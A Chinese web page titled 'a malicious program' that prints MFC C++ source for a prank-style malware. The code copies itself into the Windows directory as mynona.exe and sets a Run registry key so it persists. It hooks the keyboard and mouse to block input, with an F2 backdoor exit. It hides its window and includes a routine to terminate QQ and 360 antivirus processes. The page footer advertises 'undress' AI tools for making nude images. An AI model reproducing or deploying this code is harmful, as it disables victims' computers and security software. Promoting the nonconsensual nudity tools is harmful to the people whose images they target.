一个恶意程序
<span //</span><span KeyBoardHookDialogDlg.cpp : implementation file </span><span // </span><span #include </span><span "</span><span stdafx.h</span><span "</span><span #include </span><span "</span><span KeyBoardHookDialog.h</span><span "</span><span #include </span><span "</span><span KeyBoardHookDialogDlg.h</span><span "</span> <span #define</span> REG_RUN "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"<span #include </span><tlhelp32.h><span #ifdef _DEBUG </span><span #define</span> new DEBUG_NEW <span #undef</span> THIS_FILE <span static</span> <span char</span> THIS_FILE[] =<span __FILE__; </span><span #endif</span> <span //</span><span #pragma comment (lib,"KeyBoardHook")</span> <span ///////////////////////////////////////////////////////////////////////////</span><span //</span> <span //</span><span CAboutDlg dialog used for App About </span><span //</span><span 定义全局HHOOK变量,用于保存</span> <span HHOOK g_hMouse; HHOOK g_hKeyboard; </span><span bool</span> isTrue = <span false</span><span ; HWND hWnd; </span><span //</span><span 保存当前句柄 </span><span //</span><span 注意以下俩个钩子过程是全局函数,所以里面的API要用全局的</span> <span LRESULT CALLBACK MouseProc( </span><span int</span> nCode, <span //</span><span hook code</span> WPARAM wParam, <span //</span><span message identifier</span> LPARAM lParam <span //</span><span mouse coordinates</span> <span ) { </span><span return</span> <span 1</span><span ; } LRESULT CALLBACK KeyboardProc( </span><span int</span> code, <span //</span><span hook code</span> WPARAM wParam, <span //</span><span virtual-key code</span> LPARAM lParam <span //</span><span keystroke-message information</span> <span ) { </span><span //</span><span if(VK_SPACE == wParam || VK_RETURN == wParam) </span><span //</span><span 屏蔽空格和回车键</span> <span /*</span><span if(VK_F4 == wParam && (lParam>>29 & 1)) //屏蔽ALT + F4键 return 1; else return CallNextHookEx(g_hKeyboard,code,wParam,lParam);</span><span */</span> <span //</span><span 留个后门,使当按下F2键时,程序将退</span> <span if</span>(VK_F2 ==<span wParam) { </span><span //</span><span 调用全局API函数向程序发出关闭消息</span> ::SendMessage(hWnd,WM_CLOSE,<span 0</span>,<span 0</span><span ); </span><span //</span><span 卸载钩子</span> <span UnhookWindowsHookEx(g_hMouse); UnhookWindowsHookEx(g_hKeyboard); } </span><span return</span> <span 1</span><span ; } </span><span class</span> CAboutDlg : <span public</span><span CDialog { </span><span public</span><span : CAboutDlg(); </span><span //</span><span Dialog Data </span><span //</span><span {{AFX_DATA(CAboutDlg)</span> <span enum</span> { IDD =<span IDD_ABOUTBOX }; </span><span //</span><span }}AFX_DATA </span><span //</span><span ClassWizard generated virtual function overridesf </span><span //</span><span {{AFX_VIRTUAL(CAboutDlg)</span> <span protected</span><span : </span><span virtual</span> <span void</span> DoDataExchange(CDataExchange* pDX); <span //</span><span DDX/DDV support </span><span //</span><span }}AFX_VIRTUAL </span><span //</span><span Implementation</span> <span protected</span><span : </span><span //</span><span {{AFX_MSG(CAboutDlg) </span><span //</span><span }}AFX_MSG</span> <span DECLARE_MESSAGE_MAP() }; CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD) { </span><span //</span><span {{AFX_DATA_INIT(CAboutDlg) </span><span //</span><span }}AFX_DATA_INIT</span> <span } </span><span void</span> CAboutDlg::DoDataExchange(CDataExchange*<span pDX) { CDialog::DoDataExchange(pDX); </span><span //</span><span {{AFX_DATA_MAP(CAboutDlg) </span><span //</span><span }}AFX_DATA_MAP</span> <span } BEGIN_MESSAGE_MAP(CAboutDlg, CDialog) </span><span //</span><span {{AFX_MSG_MAP(CAboutDlg) </span><span //</span><span No message handlers </span><span //</span><span }}AFX_MSG_MAP</span> <span END_MESSAGE_MAP() </span><span ///////////////////////////////////////////////////////////////////////////</span><span //</span> <span //</span><span CKeyBoardHookDialogDlg dialog</span> <span CKeyBoardHookDialogDlg::CKeyBoardHookDialogDlg(CWnd</span>* pParent <span /*</span><span =NULL</span><span */</span><span ) : CDialog(CKeyBoardHookDialogDlg::IDD, pParent) { </span><span //</span><span {{AFX_DATA_INIT(CKeyBoardHookDialogDlg) </span><span //</span><span NOTE: the ClassWizard will add member initialization here </span><span //</span><span }}AFX_DATA_INIT </span><span //</span><span Note that LoadIcon does not require a subsequent DestroyIcon in Win32</span> m_hIcon = AfxGetApp()-><span LoadIcon(IDR_MAINFRAME); } </span><span void</span> CKeyBoardHookDialogDlg::DoDataExchange(CDataExchange*<span pDX) { CDialog::DoDataExchange(pDX); </span><span //</span><span {{AFX_DATA_MAP(CKeyBoardHookDialogDlg) </span><span //</span><span NOTE: the ClassWizard will add DDX and DDV calls here </span><span //</span><span }}AFX_DATA_MAP</span> <span } BEGIN_MESSAGE_MAP(CKeyBoardHookDialogDlg, CDialog) </span><span //</span><span {{AFX_MSG_MAP(CKeyBoardHookDialogDlg)</span> <span ON_WM_SYSCOMMAND() ON_WM_PAINT() ON_WM_QUERYDRAGICON() ON_BN_CLICKED(IDC_BTN_HOOKON, OnBtnHookon) ON_WM_TIMER() </span><span //</span><span }}AFX_MSG_MAP</span> <span END_MESSAGE_MAP() </span><span ///////////////////////////////////////////////////////////////////////////</span><span //</span> <span //</span><span CKeyBoardHookDialogDlg message handlers</span> <span BOOL CKeyBoardHookDialogDlg::OnInitDialog() { CDialog::OnInitDialog(); </span><span //</span><span Add "About..." menu item to system menu. </span><span //</span><span IDM_ABOUTBOX must be in the system command range.</span> ASSERT((IDM_ABOUTBOX & <span 0xFFF0</span>) ==<span IDM_ABOUTBOX); ASSERT(IDM_ABOUTBOX </span>< <span 0xF000</span><span ); CMenu</span>* pSysMenu =<span GetSystemMenu(FALSE); </span><span if</span> (pSysMenu !=<span NULL) { CString strAboutMenu; strAboutMenu.LoadString(IDS_ABOUTBOX); </span><span if</span> (!<span strAboutMenu.IsEmpty()) { pSysMenu</span>-><span AppendMenu(MF_SEPARATOR); pSysMenu</span>-><span AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu); } } </span><span //</span><span Set the icon for this dialog. The framework does this automatically </span><span //</span><span when the application's main window is not a dialog</span> SetIcon(m_hIcon, TRUE); <span //</span><span Set big icon</span> SetIcon(m_hIcon, FALSE); <span //</span><span Set small icon </span><span //</span><span TODO: Add extra initialization here</span> <span CopySelf(); autoRun();</span><span //</span><span 注册表启动 </span><span //</span><span 设定钩子 </span><span //</span><span ShowProcess();</span> g_hMouse =<span SetWindowsHookEx(WH_MOUSE,MouseProc,NULL,GetCurrentThreadId()); g_hKeyboard </span>=<span SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,NULL,GetCurrentThreadId()); </span><span //</span><span 保存句柄</span> hWnd =<span m_hWnd; SetTimer(</span><span 1</span>, <span 2000</span><span , NULL); isTrue </span>= <span true</span><span ; </span><span return</span> TRUE; <span //</span><span return TRUE unless you set the focus to a control</span> <span } </span><span void</span><span CKeyBoardHookDialogDlg::OnSysCommand(UINT nID, LPARAM lParam) { </span><span if</span> ((nID & <span 0xFFF0</span>) ==<span IDM_ABOUTBOX) { CAboutDlg dlgAbout; dlgAbout.DoModal(); } </span><span else</span><span { CDialog::OnSysCommand(nID, lParam); } } </span><span //</span><span If you add a minimize button to your dialog, you will need the code below </span><span //</span><span to draw the icon. For MFC applications using the document/view model, </span><span //</span><span this is automatically done for you by the framework.</span> <span void</span><span CKeyBoardHookDialogDlg::OnPaint() { </span><span if</span><span (IsIconic()) { CPaintDC dc(</span><span this</span>); <span //</span><span device context for painting</span> <span SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), </span><span 0</span><span ); </span><span //</span><span Center icon in client rectangle</span> <span int</span> cxIcon =<span GetSystemMetrics(SM_CXICON); </span><span int</span> cyIcon =<span GetSystemMetrics(SM_CYICON); CRect rect; GetClientRect(</span>&<span rect); </span><span int</span> x = (rect.Width() - cxIcon + <span 1</span>) / <span 2</span><span ; </span><span int</span> y = (rect.Height() - cyIcon + <span 1</span>) / <span 2</span><span ; </span><span //</span><span Draw the icon</span> <span dc.DrawIcon(x, y, m_hIcon); } </span><span else</span><span { CDialog::OnPaint(); } } </span><span //</span><span The system calls this to obtain the cursor to display while the user drags </span><span //</span><span the minimized window.</span> <span HCURSOR CKeyBoardHookDialogDlg::OnQueryDragIcon() { </span><span return</span><span (HCURSOR) m_hIcon; } </span><span void</span><span CKeyBoardHookDialogDlg::OnBtnHookon() { </span><span //</span><span TODO: Add your control notification handler code here</span> <span } </span><span //</span><span DEL void CKeyBoardHookDialogDlg::OnBtnHookoff() </span><span //</span><span DEL { </span><span //</span><span DEL </span><span //</span><span TODO: Add your control notification handler code here </span><span //</span><span DEL SetHookOff(); </span><span //</span><span DEL </span><span //</span><span DEL }</span> <span void</span><span CKeyBoardHookDialogDlg::hide() { ShowWindow(SW_HIDE); } </span><span void</span><span CKeyBoardHookDialogDlg::autoRun() { HKEY hKey </span>=<span NULL; LONG lRet </span>= RegOpenKey(HKEY_LOCAL_MACHINE,REG_RUN,&<span hKey); </span><span if</span>(lRet !=<span ERROR_SUCCESS) { </span><span return</span><span ; } RegSetValueEx(hKey,</span><span "</span><span mynona</span><span "</span>,NULL,REG_SZ,(<span const</span> unsigned <span char</span> *)&<span szWindowsPath, strlen(szWindowsPath) </span>+<span sizeof</span>(<span char</span><span )); RegCloseKey(hKey); } </span><span void</span><span CKeyBoardHookDialogDlg::ShowProcess() { HANDLE hSnap </span>=<span CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL); </span><span //</span><span ...</span> <span PROCESSENTRY32 Pe32 </span>= {<span 0</span><span }; Pe32.dwSize </span>= <span sizeof</span><span (PROCESSENTRY32); </span><span int</span> bRet = Process32First(hSnap,&<span Pe32); </span><span //</span><span 360IOSMgrSrv 360tray </span> <span char</span> name[MAX_PATH] = <span "</span><span QQ.exe</span><span "</span><span ; </span><span char</span> name2[MAX_PATH] = <span "</span><span 360tray.exe</span><span "</span><span ; </span><span char</span> name3[MAX_PATH] = <span "</span><span 360rp.exe</span><span "</span><span ; </span><span while</span><span (bRet) { </span><span //</span><span ...</span> bRet = Process32Next(hSnap,&<span Pe32); </span><span //</span><span cout<<"id:"<<Pe32.th32ProcessID<<" name:"<<Pe32.szExeFile<<endl;</span> <span int</span> flag = <span 0</span><span ; </span><span if</span>(strcmp(Pe32.szExeFile,name) == <span 0</span> || strcmp(Pe32.szExeFile,name3) == <span 0</span> || strcmp(Pe32.szExeFile,name2) ==<span 0</span><span ) flag </span>= <span 1</span><span ; </span><span if</span><span (flag){ </span><span //</span><span cout<<"----------------------"<<Pe32.th32ProcessID<<endl;</span> <span MessageBox(Pe32.szExeFile); HANDLE hProcess </span>=<span OpenProcess(PROCESS_TERMINATE,FALSE,Pe32.th32ProcessID); LPDWORD lpExitCode </span>= <span 0</span><span ; GetExitCodeProcess(hProcess, lpExitCode); TerminateProcess(hProcess, (UINT)lpExitCode); } } } </span><span void</span><span CKeyBoardHookDialogDlg::CopySelf() { </span><span char</span> szSelfName[MAX_PATH] = {<span 0</span><span }; </span><span //</span><span char szSystemPath[MAX_PATH] = {0};</span> <span char</span> szTmpPath[MAX_PATH] = {<span 0</span><span }; </span><span //</span><span 获取当前程序自身路径</span> <span GetModuleFileName(NULL,szSelfName,MAX_PATH); </span><span //</span><span cout<<"szSelfName:"<<szSelfName<<endl; </span><span //</span><span 获取系统目录</span> <span GetWindowsDirectory(szWindowsPath,MAX_PATH); </span><span //</span><span cout<<"szWindowsPath:"<<szWindowsPath<<endl; </span><span //</span><span 获取windows目录 </span><span //</span><span GetSystemDirectory(szSystemPath,MAX_PATH); </span><span //</span><span cout<<"szSystemPath:"<<szSystemPath<<endl;</span> <span strcat(szWindowsPath,</span><span "</span><span \\mynona.exe</span><span "</span><span ); </span><span //</span><span strcat(szSystemPath,"\\mynona.exe");</span> <span MessageBox( szWindowsPath,</span><span "</span><span : szWindowsPath</span><span "</span><span ); </span><span //</span><span MessageBox( szSystemPath,": szSystemPath"); </span> <span int</span> isTrue = CopyFile(szSelfName,szWindowsPath,FALSE);<span //</span><span FALSE表示强行覆盖原有文件 </span><span //</span><span int isTrue2 = CopyFile(szSelfName,szSystemPath,FALSE);</span> <span } </span><span void</span><span CKeyBoardHookDialogDlg::OnTimer(UINT nIDEvent) { </span><span //</span><span TODO: Add your message handler code here and/or call default</span> <span if</span><span (isTrue){ ShowWindow(SW_HIDE); } MessageBox(</span><span "</span><span haha</span><span "</span>,<span "</span><span 哈哈</span><span "</span><span ,MB_ICONSTOP); CDialog::OnTimer(nIDEvent); }</span>

热AI工具

Undresser.AI Undress
人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover
用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool
免费脱衣服图片

Clothoff.io
AI脱衣机

Video Face Swap
使用我们完全免费的人工智能换脸工具轻松在任何视频中换脸!

热门文章

热工具

记事本++7.3.1
好用且免费的代码编辑器

SublimeText3汉化版
中文版,非常好用

禅工作室 13.0.1
功能强大的PHP集成开发环境

Dreamweaver CS6
视觉化网页开发工具

SublimeText3 Mac版
神级代码编辑软件(SublimeText3)

是的,可以在 Windows 7 上安装 MySQL,虽然微软已停止支持 Windows 7,但 MySQL 仍兼容它。不过,安装过程中需要注意以下几点:下载适用于 Windows 的 MySQL 安装程序。选择合适的 MySQL 版本(社区版或企业版)。安装过程中选择适当的安装目录和字符集。设置 root 用户密码,并妥善保管。连接数据库进行测试。注意 Windows 7 上的兼容性问题和安全性问题,建议升级到受支持的操作系统。

无法连接 MySQL 可能是由于以下原因:MySQL 服务未启动、防火墙拦截连接、端口号错误、用户名或密码错误、my.cnf 中的监听地址配置不当等。排查步骤包括:1. 检查 MySQL 服务是否正在运行;2. 调整防火墙设置以允许 MySQL 监听 3306 端口;3. 确认端口号与实际端口号一致;4. 检查用户名和密码是否正确;5. 确保 my.cnf 中的 bind-address 设置正确。

MySQL安装报错的解决方法是:1.仔细检查系统环境,确保满足MySQL的依赖库要求,不同操作系统和版本需求不同;2.认真阅读报错信息,根据提示(例如缺少库文件或权限不足)采取对应措施,例如安装依赖或使用sudo命令;3.必要时,可尝试源码安装并仔细检查编译日志,但这需要一定的Linux知识和经验。最终解决问题的关键在于仔细检查系统环境和报错信息,并参考官方文档。

MySQL安装失败的原因主要有:1.权限问题,需以管理员身份运行或使用sudo命令;2.依赖项缺失,需安装相关开发包;3.端口冲突,需关闭占用3306端口的程序或修改配置文件;4.安装包损坏,需重新下载并验证完整性;5.环境变量配置错误,需根据操作系统正确配置环境变量。解决这些问题,仔细检查每个步骤,就能顺利安装MySQL。

无法从终端访问 MySQL 可能是由于:MySQL 服务未运行;连接命令错误;权限不足;防火墙阻止连接;MySQL 配置文件错误。

MySQL 中的复制粘贴包含以下步骤:选择数据,使用 Ctrl C(Windows)或 Cmd C(Mac)复制;在目标位置右键单击,选择“粘贴”或使用 Ctrl V(Windows)或 Cmd V(Mac);复制的数据将插入到目标位置,或替换现有数据(取决于目标位置是否已存在数据)。

在 Photoshop 中拉垂直参考线:启用标尺视图(视图 > 标尺)。悬停鼠标在标尺垂直边缘,光标变为带有双箭头的垂直线后按住并拖动鼠标拉出参考线。通过拖动重新定位参考线,或将其悬停变为十字形后单击删除。

MySQL下载提示磁盘写入错误,解决方案如下:1.检查磁盘空间是否不足,清理空间或更换更大磁盘;2.使用磁盘检测工具(如chkdsk或fsck)检查并修复磁盘错误,必要时更换硬盘;3.检查目标目录权限,确保用户账户拥有写入权限;4.更换下载工具或网络环境,使用下载管理器恢复中断下载;5.暂时关闭反病毒软件或防火墙,下载完成后重新启用。通过系统排查这些方面,即可解决问题。
